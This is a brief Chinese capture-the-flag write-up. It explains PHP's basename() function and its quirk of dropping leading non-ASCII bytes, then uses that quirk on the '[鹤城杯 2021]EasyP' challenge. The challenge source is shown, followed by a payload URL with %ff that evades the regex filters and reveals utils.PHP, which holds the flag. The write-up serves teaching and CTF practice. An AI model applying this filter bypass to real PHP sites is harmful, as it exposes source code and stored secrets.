basename
定义:
basename() 函数返回路径中的文件名部分。
语法:
basename(path,suffix)
参数 |
描述 |
path |
必需。规定要检查的路径 |
suffix |
可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。 |
@H_502_35@
basename()函数存在一个问题,它会去掉文件名开头的非ASCII值
例题
[鹤城杯 2021]EasyP
<?PHP
include 'utils.PHP';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.PHP\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
其中
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
就是我们的突破口,需要我们绕过正则过滤;
构造payload
http://1.14.71.254:28700/index.PHP/utils.PHP/%ff?show source
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。